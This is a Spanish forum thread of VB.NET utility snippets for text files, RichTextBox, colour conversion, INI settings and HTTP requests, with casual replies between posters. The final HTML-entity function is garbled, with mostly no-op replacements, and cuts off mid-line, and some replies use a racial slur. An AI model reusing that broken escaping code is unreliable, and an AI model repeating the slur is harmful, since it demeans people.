Elimina una línea de un texto #Region " Delete Line From TextFile " ' [ Delete Line From TextFile Function ] ' ' // By Elektro H@cker ' ' Examples : ' Delete_Line_From_TextFile("C:\File.txt", 3) ' Delete_Line_From_TextFile("C:\File.txt", 3, True) Private Sub Delete_Line_From_TextFile (ByVal File As String, ByVal Line_Number As Int64, _ Optional ByVal Make_Empty_Line As Boolean = False) Dim Line_Length As Int64 = 0 Line_Number -= 1 Try Line_Length = IO. File. ReadAllLines(File). Length Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Select Case Line_Number Case Is <= (0 Or 1), Is > Line_Length MsgBox("Want to cut first " & (Line_Number - 1) & " lines" & vbNewLine & _ "But """ & File & """ have " & Line_Length & " lines.") Exit Sub Case Else Dim strArray () As String = IO. File. ReadAllLines(File) If Make_Empty_Line Then Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number) ReDim Preserve strArray(UBound(strArray) - 1) End If MsgBox(String.Join(vbNewLine, strArray)) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using End Select End Sub #End Region
Elimina las primeras X líneas de un archivo de texto #Region " Cut First Lines From TextFile " ' [ Cut First Lines From TextFile Function ] ' ' // By Elektro H@cker ' ' Examples : ' Cut_First_Lines_From_TextFile("C:\File.txt", 3) Private Sub Cut_First_Lines_From_TextFile (ByVal File As String, ByVal Lines As Int64 ) Dim Line_Length As Int64 = 0 Lines += 1 Try Line_Length = IO. File. ReadAllLines(File). Length Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Select Case Lines Case Is <= (0 Or 1), Is > Line_Length MsgBox("Want to cut first " & (Lines - 1) & " lines" & vbNewLine & _ "But """ & File & """ have " & Line_Length & " lines.") Exit Sub Case Else Dim strArray () As String = IO. File. ReadAllLines(File) Array.Reverse(strArray) ReDim Preserve strArray(strArray.Length - (Lines)) Array.Reverse(strArray) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using End Select End Sub #End Region
Elimina las últimas X líneas de un archivo de texto #Region " Cut Last Lines From TextFile " ' [ Cut Last Lines From TextFile Function ] ' ' // By Elektro H@cker ' ' Examples : ' Cut_Last_Lines_From_TextFile("C:\File.txt", 3) Private Sub Cut_Last_Lines_From_TextFile (ByVal File As String, ByVal Lines As Int64 ) Dim Line_Length As Int64 = 0 Lines += 1 Try Line_Length = IO. File. ReadAllLines(File). Length Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Select Case Lines Case Is <= (0 Or 1), Is > Line_Length MsgBox("Want to cut last " & (Lines - 1) & " lines" & vbNewLine & _ "But """ & File & """ have " & Line_Length & " lines.") Exit Sub Case Else Dim strArray () As String = IO. File. ReadAllLines(File) ReDim Preserve strArray(strArray.Length - (Lines)) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using End Select End Sub #End Region
Guarda las primmeras X líneas y elimina el resto de líneas de un archivo de texto. #Region " Keep First Lines From TextFile " ' [ Keep First Lines From TextFile Function ] ' ' // By Elektro H@cker ' ' Examples : ' Keep_First_Lines_From_TextFile("C:\File.txt", 3) Private Sub Keep_First_Lines_From_TextFile (ByVal File As String, ByVal Lines As Int64 ) Dim Line_Length As Int64 = 0 Lines -= 1 Try Line_Length = IO. File. ReadAllLines(File). Length Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Select Case Lines Case Is < 0, Is >= Line_Length MsgBox("Want to keep first " & (Lines + 1) & " lines" & vbNewLine & _ "But """ & File & """ have " & Line_Length & " lines.") Exit Sub Case Else Dim strArray () As String = IO. File. ReadAllLines(File) ReDim Preserve strArray(Lines) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using End Select End Sub #End Region
Guarda las últimas X líneas y elimina el resto de líneas de un archivo de texto. #Region " Keep Last Lines From TextFile " ' [ Keep Last Lines From TextFile Function ] ' ' // By Elektro H@cker ' ' Examples : ' Keep_Last_Lines_From_TextFile("C:\File.txt", 3) Private Sub Keep_Last_Lines_From_TextFile (ByVal File As String, ByVal Lines As Int64 ) Dim Line_Length As Int64 = 0 Lines -= 1 Try Line_Length = IO. File. ReadAllLines(File). Length Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Select Case Lines Case Is < 0, Is >= Line_Length MsgBox("Want to keep last " & (Lines + 1) & " lines" & vbNewLine & _ "But """ & File & """ have " & Line_Length & " lines.") Exit Sub Case Else Dim strArray () As String = IO. File. ReadAllLines(File) Array.Reverse(strArray) ReDim Preserve strArray(Lines) Array.Reverse(strArray) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using End Select End Sub #End Region
Devuelve el el total de líneas de un archivo de texto, con opción de incluir líneas en blanco #Region " Get TextFile Total Lines " ' [ Get TextFile Total Lines Function ] ' ' Examples : ' ' MsgBox(Get_TextFile_Total_Lines("C:\File.txt")) ' MsgBox(Get_TextFile_Total_Lines("C:\File.txt", False)) Private Function Get_TextFile_Total_Lines (ByVal File As String, _ Optional ByVal Include_BlankLines As Boolean = True) As Int64 Try If Include_BlankLines Then Return IO. File. ReadAllLines(File). Length Else Dim LineCount As Int64 For Each Line In IO. File. ReadAllLines(File) If Not Line = String.Empty Then LineCount += 1 ' Application.DoEvents() Next Return LineCount End If Catch ex As Exception MsgBox(ex.Message) Return -1 End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:23 am
Unos snippets especiálmente para un RichTextBox:Devuelve la posición actual del cursor. #Region " Get RichTextBox Cursor Position " ' [ Get RichTextBox Cursor Position Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_RichTextBox_Cursor_Position(RichTextBox1)) ' RichTextBox1.SelectionStart = (Get_RichTextBox_Cursor_Position(RichTextBox1) + 1) : RichTextBox1.Focus() Public Function Get_RichTextBox_Cursor_Position(ByVal RichTextBox_Object As RichTextBox) As Int64 Return RichTextBox_Object.SelectionStart End Function #End Region
Copia todo el texto del RichTextBox al portapapeles #Region " Copy All RichTextBox Text " ' [ Copy All RichTextBox Text Function ] ' ' // By Elektro H@cker ' ' Examples : ' Copy_All_RichTextBox_Text(RichTextBox1) Public Sub Copy_All_RichTextBox_Text(ByVal RichTextBox_Object As RichTextBox) ' Save the current cursor position Dim Caret_Position As Int64 = RichTextBox_Object.SelectionStart ' Save the current selected text (If any) Dim Selected_Text_Start As Int64, Selected_Text_Length As Int64 If RichTextBox_Object.SelectionLength > 0 Then Selected_Text_Start = RichTextBox_Object.SelectionStart Selected_Text_Length = RichTextBox_Object.SelectionLength End If RichTextBox_Object.SelectAll() ' Select all text RichTextBox_Object.Copy() ' Copy all text RichTextBox_Object.Select(Selected_Text_Start, Selected_Text_Length) ' Returns to the previous selected text RichTextBox_Object.SelectionStart = Caret_Position ' Returns to the previous cursor position ' RichTextBox_Object.Focus() ' Focus again the richtextbox End Sub #End Region
Desactiva un menú contextual si el RichTextBox no contiene texto, activa el menú si el RichTextBox contiene texto. #Region " Toggle RichTextBox Menu " ' [ Toggle RichTextBox Menu ] ' ' // By Elektro H@cker ' ' Examples : ' Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged ' Toogle_RichTextBox_Menu(sender, ContextMenuStrip1) ' End Sub Private Sub Toggle_RichTextBox_Menu(ByVal RichTextBox As RichTextBox, ByVal ContextMenuStrip As ContextMenuStrip) If RichTextBox.Lines.Count > 0 Then ContextMenuStrip.Enabled = True Else ContextMenuStrip.Enabled = False End If End Sub #End Region
Seleccionar líneas enteras ' RichTextBox [ MouseDown ] Private Sub RichTextBox1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) Handles RichTextBox1.MouseDown Try Dim line = sender.GetLineFromCharIndex(sender.GetCharIndexFromPosition(e.Location)) Dim lineStart = sender.GetFirstCharIndexFromLine(line) Dim lineEnd = sender.GetFirstCharIndexFromLine(line + 1) - 1 sender.SelectionStart = lineStart If (lineEnd - lineStart) > 0 Then sender.SelectionLength = lineEnd - lineStart Else sender.SelectionLength = lineStart - lineEnd ' Reverse the values because is the last line of RichTextBox End If Catch ex As Exception : MsgBox(ex.Message) End Try End Sub
Abrir links en el navegador ' RichTextBox [ LinkClicked ] Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked Process.Start(e.LinkText) End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:30 am
Comprobar la conectividad de red #Region " Is Connectivity Avaliable? function " ' [ Is Connectivity Avaliable? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Is_Connectivity_Avaliable()) ' While Not Is_Connectivity_Avaliable() : Application.DoEvents() : End While Private Function Is_Connectivity_Avaliable() Dim WebSites() As String = {"Google.com", "Facebook.com", "Microsoft.com"} If My.Computer.Network.IsAvailable Then For Each WebSite In WebSites Try My.Computer.Network.Ping(WebSite) Return True ' Network connectivity is OK. Catch : End Try Next Return False ' Network connectivity is down. Else Return False ' No network adapter is connected. End If End Function #End Region
Comprobar si un número es negativo #Region " Number Is Negavite " ' [ Number Is Negavite? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Negavite(-5)) ' Result: True ' MsgBox(Number_Is_Negavite(5)) ' Result: False Private Function Number_Is_Negavite(ByVal Number As Int64) As Boolean Return Number < 0 End Function #End Region
Comprobar si un número es positivo #Region " Number Is Positive " ' [ Number Is Positive? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Positive(5)) ' Result: True ' MsgBox(Number_Is_Positive(-5)) ' Result: False Private Function Number_Is_Positive(ByVal Number As Int64) As Boolean Return Number > 0 End Function #End Region
Convierte un color html a rgb #Region " HTML To RGB " ' [ HTML To RGB Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(HTML_To_RGB("#FFFFFF")) ' Result: 255,255,255 ' MsgBox(HTML_To_RGB("#FFFFFF", RGB.R)) ' Result: 255 Public Enum RGB As Int16 RGB R G B End Enum Private Function HTML_To_RGB(ByVal HTML_Color As String, Optional ByVal R_G_B As RGB = RGB.RGB) As String Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color) Select Case R_G_B Case RGB.R : Return Temp_Color.R Case RGB.G : Return Temp_Color.G Case RGB.B : Return Temp_Color.B Case RGB.RGB : Return (Temp_Color.R & "," & Temp_Color.G & "," & Temp_Color.B) Case Else : Return Nothing End Select End Function #End Region
Convierte color hexadecimal a html #Region " HTML To HEX " ' [ HTML To HEX Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(HTML_To_HEX("#FFFFFF")) ' Result: 0xFFFFFF Private Function HTML_To_HEX(ByVal HTML_Color As String) As String Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color) Return ("0x" & Hex(Temp_Color.R) & Hex(Temp_Color.G) & Hex(Temp_Color.B)) End Function #End Region
color rgb a html #Region " RGB To HTML " ' [ RGB To HTML Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(RGB_To_HTML(255, 255, 255)) ' Result: #FFFFFF ' PictureBox1.BackColor = ColorTranslator.FromHtml(RGB_To_HTML(255, 255, 255)) Private Function RGB_To_HTML(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String Return ColorTranslator.ToHtml(Color.FromArgb(R, G, B)) End Function #End Region
color rgb a hexadecimal #Region " RGB To HEX " ' [ RGB To HEX Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(RGB_To_HEX(255, 255, 255)) ' Result: 0xFFFFFF Private Function RGB_To_HEX(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String Return ("0x" & Hex(R) & Hex(G) & Hex(B)) End Function #End Region
color conocido a rgb #Region " Color To RGB " ' [ Color To RGB Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Color_To_RGB(Color.White)) ' MsgBox(Color_To_RGB(Color.White, RGB.R)) ' PictureBox1.BackColor = Color.FromArgb(Color_To_RGB(Color.Red, RGB.R), Color_To_RGB(Color.Red, RGB.G), Color_To_RGB(Color.Red, RGB.B)) Public Enum RGB As Int16 RGB R G B End Enum Private Function Color_To_RGB(ByVal Color As Color, Optional ByVal R_G_B As RGB = RGB.RGB) As String Select Case R_G_B Case RGB.R : Return Color.R Case RGB.G : Return Color.G Case RGB.B : Return Color.B Case RGB.RGB : Return (Color.R & "," & Color.G & "," & Color.B) Case Else : Return Nothing End Select End Function #End Region
color conocido a html #Region " Color To HTML " ' [ Color To HTML Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Color_To_HTML(Color.White)) ' PictureBox1.BackColor = ColorTranslator.FromHtml(Color_To_HTML(Color.White)) Private Function Color_To_HTML(ByVal Color As Color) As String Return ColorTranslator.ToHtml(Color.FromArgb(Color.R, Color.G, Color.B)) End Function #End Region
color conocido a hexadecimal #Region " Color To Hex " ' [ Color To Hex Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Color_To_Hex(Color.White)) Private Function Color_To_Hex(ByVal Color As Color) As String Return ("0x" & Hex(Color.R) & Hex(Color.G) & Hex(Color.B)) End Function #End Region
Guardar configuración en archivo INI ' By Elektro H@cker ' ' Example content of Test.ini: ' ' File=C:\File.txt ' SaveFile=True Dim INI_File As String = ".\Test.ini" ' Save INI Settings Private Sub Save_INI_Settings() Dim Current_Settings As String = _ "File=" & TextBox_file.Text & Environment.NewLine & _ "SaveFile=" & CheckBox_SaveFile.Checked My.Computer.FileSystem.WriteAllText(INI_File, Current_Settings, False) End Sub
Descargar imágen web #Region " Get Url Image Function " ' [ Get Url Image Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' PictureBox1.Image = Get_URL_Image("http://www.google.com/recaptcha/static/images/smallCaptchaSpaceWithRoughAlpha.png") Public Function Get_URL_Image(ByVal URL As String) As System.Drawing.Bitmap Try Return New System.Drawing.Bitmap(New IO.MemoryStream(New System.Net.WebClient().DownloadData(URL))) Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
Cargar configuración desde archivo INI (Este snippet es una versión mejorada del otro que posteé) ' By Elektro H@cker ' ' Example content of Test.ini: ' ' File=C:\File.txt ' SaveFile=True Dim INI_File As String = ".\Test.ini" ' Load INI Settings Private Sub Load_INI_Settings() Dim xRead As IO. StreamReader = IO. File. OpenText(INI_File ) Dim Line As String = String.Empty Dim Delimiter As String = "=" Dim ValueName As String = String.Empty Dim Value As Object Do Until xRead.EndOfStream Line = xRead.ReadLine().ToLower ValueName = Line.Split(Delimiter).First Value = Line.Split(Delimiter).Last Select Case ValueName.ToLower Case "File".ToLower : TextBox_File.Text = Value Case "SaveFile".ToLower : CheckBox_SaveFile.Checked() End Select Application.DoEvents() Loop xRead.Close() : xRead.Dispose() End Sub
Obtener respuesta http #Region " Get Http Response " ' [ Validate URL Function ] ' ' Examples : ' ' Dim Response As System.Net.HttpWebResponse = Get_Http_Response(System.Net.HttpWebRequest.Create("http://www.google.com/StatusCode404")) ' If Response.StatusCode = System.Net.HttpStatusCode.NotFound Then MsgBox("Error 404") Public Shared Function Get_Http_Response(request As System.Net.HttpWebRequest) As System.Net.HttpWebResponse Try : Return DirectCast(request.GetResponse(), System.Net.HttpWebResponse) Catch ex As System.Net.WebException If ex.Response Is Nothing OrElse ex.Status <> System.Net.WebExceptionStatus.ProtocolError Then Throw Return DirectCast(ex.Response, System.Net.HttpWebResponse) End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 09:27 am
Cancelar el evento OnMove #Region " Cancel Move Form " ' Examples: ' Me.Moveable = False ' Me.Moveable = True Private Declare Function EnableMenuItem Lib "user32.dll" Alias "EnableMenuItem" (ByVal hMenu As IntPtr, ByVal uIDEnableItem As Int32, ByVal uEnable As Int32) As Int32 Private bMoveable As Boolean = True Public Overridable Property Moveable() As Boolean Get Return bMoveable End Get Set(ByVal Value As Boolean) If bMoveable <> Value Then bMoveable = Value End If End Set End Property Protected Overrides Sub WndProc(ByRef m As Message) If m.Msg = &H117& Then 'Handles popup of system menu. If m.LParam.ToInt32 \ 65536 <> 0 Then 'divide by 65536 to get hiword. Dim AbleFlags As Int32 = &H0& If Not Moveable Then AbleFlags = &H2& Or &H1& EnableMenuItem(m.WParam, &HF010&, &H0& Or AbleFlags) End If End If If Not Moveable Then 'Cancels any attempt to drag the window by it's caption. If m.Msg = &HA1 Then If m.WParam.ToInt32 = &H2 Then Return 'Redundant but cancels any clicks on the Move system menu item. If m.Msg = &H112 Then If (m.WParam.ToInt32 And &HFFF0) = &HF010& Then Return End If 'Return control to base message handler. MyBase.WndProc(m) End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 13:27 pm
Una función para devolver una lista con todas las coincidencias de un RegEx: #Region " RegEx Matches To List " ' [ RegEx Matches To List Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim str As String = "<span class=""genres""><a href=""http://www.mp3crank.com/genre/alternative"" rel=""tag"">Alternative</a> / <a href=""http://www.mp3crank.com/genre/indie"" rel=""tag"">Indie</a> / <a href=""http://www.mp3crank.com/genre/rock"" rel=""tag"">Rock</a></span>" ' For Each match In RegEx_Matches_To_List(str, <a><![CDATA[tag">(\w+)<]]></a>.Value) : MsgBox(match) : Next Private Function RegEx_Matches_To_List(ByVal str As String, ByVal RegEx_Pattern As String) As List(Of String) Dim match As System.Text.RegularExpressions.Match = System.Text.RegularExpressions.Regex.Match(str, RegEx_Pattern) Dim Match_List As New List(Of String) Do While match.Success Match_List.Add(match.Groups(1).ToString) match = match.NextMatch() Application.DoEvents() Loop Return Match_List End Function #End Region
Unas cuantas expresiones regulares que he escrito para facilitar algunas taréas: ' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value ' MsgBox(Match_RegEx_MainBase_Url(Str)) ' Result: http://www.mp3crank.com Private Function Match_RegEx_MainBase_Url(ByVal str As String) As String ' Match criteria: ' ' http://url.domain ' https://url.domain ' www.url.domain Dim RegEx As New System.Text.RegularExpressions.Regex( _ <a><![CDATA[(http://|https://|www).+\.[0-9A-z]]]></a>.Value) Return RegEx.Match(str).Groups(0).ToString End Function
' Dim str As String = <a><![CDATA[<href="http://www.mp3crank.com/feed"]]></a>.Value ' MsgBox(Match_RegEx_Url(str)) ' Result: http://www.mp3crank.com/feed Private Function Match_RegEx_Url(ByVal str As String) As String ' Match criteria: ' ' http://url ' https://url ' www.url Dim RegEx As New System.Text.RegularExpressions.Regex( _ <a><![CDATA[(http://|https://|www).+\b]]></a>.Value) Return RegEx.Match(str).Groups(0).ToString End Function
' Dim str As String = <a><![CDATA[href="http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm"]]></a>.Value ' MsgBox(Match_RegEx_htm_html(str)) ' Result: http://www.mp3crank.com/the-rolling-stones/deluxe-edition.htm Private Function Match_RegEx_htm_html(ByVal str As String) As String ' Match criteria: ' ' http://Text.htm ' http://Text.html ' https://Text.htm ' https://Text.html ' www.Text.htm ' www.Text.html Dim RegEx As New System.Text.RegularExpressions.Regex( _ <a><![CDATA[(http://|https://|www).*\.html?]]></a>.Value) Return RegEx.Match(str).Groups(0).ToString End Function
' Dim str As String = <a><![CDATA[href=>Drifter - In Search of Something More [EP] (2013)</a>]]></a>.Value ' MsgBox(Match_RegEx_Tag(str)) ' Result: Drifter - In Search of Something More [EP] (2013) Private Function Match_RegEx_Tag(ByVal str As String) As String ' Match criteria: ' ' >..Text..< Dim RegEx As New System.Text.RegularExpressions.Regex( _ <a><![CDATA[>([^<]+?)<]]></a>.Value) Return RegEx.Match(str).Groups(1).ToString End Function
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 15:08 pm
Deberías poner mi code para que cambien las imagenes al pasar el mouse...
Tengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente)
Un saludo.
Te paso los codes? ;)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:26 pm
Deberías poner mi code para que cambien las imagenes al pasar el mouse... Puedes colaborar publicando tus códigos aquí, yo publico solo lo mio, o lo que encuentro por ahí en zonas prohibidas de la red xD. Eres libre de publicar aquí tus snippets. Tengo otro code, que adapta una imagen al fondo del Form... (Es decir si el form es de 800x600 y la imagen 1024x768 se redimensiona automaticamente) Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen: Me.BackgroundImageLayout = ImageLayout.Stretch Saludos!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 16:28 pm
Miedo me da ese código, no sé si querrás publicar eso, te lo digo más que nada porque no le veo sentido ni utilidad cuando existe una propiedad para redimensionar la imágen: Me.BackgroundImageLayout = ImageLayout.Stretch Seriusly? xD Y yo buscando como un negro 20000 código por Interné...
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:33 pm
Seriusly? xD Y yo buscando como un negro 20000 código por Interné... Claro, si alguna vez me hicieras caso y leyeras el nombre y la descripción de cada propiedad, ni 3 minutos lleva mirarse las propiedades de un Form, aparte de aprender un poco más no perderías tiempo buscando códigos tontos. ...Pero lo que me hace gracia es que alguien haya gastado tiempo escribiendo ese código que comentas, me imagino que también lo habrá escrito sin saber que existia dicha propiedad, el colmo xD. En fín, publica lo que quieras de todas formas he?, pa eso está esta sección. saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 16:47 pm
Pos yasta aquí están los codes :rolleyes: Cambiar imagen al pasar el Mouse en VB.NET (Google indexando) :laugh: Private Sub picMini_MouseEnter(sender As Object, e As EventArgs) Handles picMini.MouseEnter sender.Image = Mini_Off End Sub Private Sub picMini_MouseLeave(sender As Object, e As EventArgs) Handles picMini.MouseLeave sender.Image = Mini_On End Sub
Private Sub frmMain_Load(sender As Object, e As EventArgs) Handles MyBase.Load picMini.Image = Mini_On 'Aqui se carga la que se va a mostrar por defecto picMini.BackColor = Color.Transparent 'Por si tiene transparencias la imagen
Dim Mini_Off As Image = Image.FromFile(".\Art\Buttons\Mini_Off.png") Dim Mini_On As Image = Image.FromFile(".\Art\Buttons\Mini_On.png")
Adaptar imagen de Fondo al Form VB.NET (Para los que seáis unos negros y no sepáis las propiedades un Form como yo :laugh: :laugh: ) Dim Fondo As Image = Image.FromFile(".\Art\fondo.jpg") Dim ancho As String = Me.Width Dim alto As String = Me.Height Dim bm_source As Bitmap = New Bitmap(Fondo) Dim bm_dest As New Bitmap(CInt(ancho), CInt(alto)) Dim gr_dest As Graphics = Graphics.FromImage(bm_dest) gr_dest.DrawImage(bm_source, 0, 0, bm_dest.Width + 1, bm_dest.Height + 1) Me.BackgroundImage = bm_dest
Un saludo. ;D
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 16:58 pm
[FastColoredTextBox] Scroll Text Scrollea hasta el final del texto y posiciona el cursor del teclado en el último caracter. PD: Se requiere el control extendido FastColoredTextbox. (http://img96.imageshack.us/img96/6500/captura2sd.png) #Region " [FastColoredTextBox] Scroll Text " ' FastColoredTextBox] Scroll Text ' ' // By Elektro H@cker Private Sub FastColoredTextBox1_TextChanged(sender As Object, e As FastColoredTextBoxNS.TextChangedEventArgs) _ Handles FastColoredTextBox1.TextChangedDelayed sender.ScrollLeft() sender.Navigate(sender.Lines.Count - 1) ' Scroll to down sender.SelectionStart = sender.Text.Length ' Set the keyboard cursor position End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 19:48 pm
Convierte código Hexadecimal a número Win32Hex #Region " Hex To Win32Hex " ' [ Hex To Win32Hex Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(Hex_To_Win32Hex("FF4")) ' Result: &HFF4 ' MsgBox(Hex_To_Win32Hex("0xFF4")) ' Result: &HFF4 ' Dim Number As Int32 = Hex_To_Win32Hex("0xFF4") ' Result: 4084 Private Function Hex_To_Win32Hex(ByVal Hex As String) As String If Hex.ToLower.StartsWith("0x") Then Hex = Hex.Substring(2, Hex.Length - 2) Return "&H" & Hex End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 20:33 pm
- Detect mouse wheel direction. Comprueba en que dirección se movió la rueda del mouse. Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseWheel Select Case Math.Sign(e.Delta) Case Is < 0 MsgBox("MouseWheel Down") Case Is > 0 MsgBox("MouseWheel Up") End Select End Sub
Comprueba en que dirección se movió la rueda del mouse. ...Lo mismo que antes pero usando los mensajes de Windows: Public Shared Mouse_Have_Wheel As Boolean = My.Computer.Mouse.WheelExists Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Application.AddMessageFilter(New MouseWheelMessageFilter()) End Sub Public Class MouseWheelMessageFilter Implements IMessageFilter Public Function PreFilterMessage(ByRef m As Message) As Boolean Implements IMessageFilter.PreFilterMessage If Mouse_Have_Wheel Then If m.Msg = &H20A Then If Form.ActiveForm IsNot Nothing Then Try ' "Try" solves too fast wheeling. Dim delta As Integer = m.WParam.ToInt32() >> 16 If delta > 0 Then MsgBox("MouseWheel Up") Else MsgBox("MouseWheel Down") End If Catch : End Try End If Return True End If End If Return False End Function End Class
Ejemplo de como modificar la fuente de texto actual de un control: Me.Font = New Font("Lucida Console", 16, FontStyle.Regular, GraphicsUnit.Point)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Mayo 2013, 20:41 pm
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad ;-) :laugh:
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 31 Mayo 2013, 20:53 pm
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad ;-) :laugh:
Si no fuese por mi ::)... espero ver mis créditos xD Me alegro, Saludos.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 08:19 am
Un simple método Get: #Region " Get Method " ' [ Get Method Function ] ' ' Examples : ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0] Public Function Get_Method(ByVal URL As String) As String Dim webClient As New System.Net.WebClient Return webClient.DownloadString(URL) End Function #End Region
Convierte un string a entidades html: #Region " String To Html Entities " ' [ String To Html Escaped Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com Private Function String_To_Html_Entities(ByVal str As String) As String str = str.Replace("&", "&") ' Keep this character to be always the first replaced. str = str.Replace(ControlChars.Quote, """) str = str.Replace(" ", " ") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("", "Â") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = 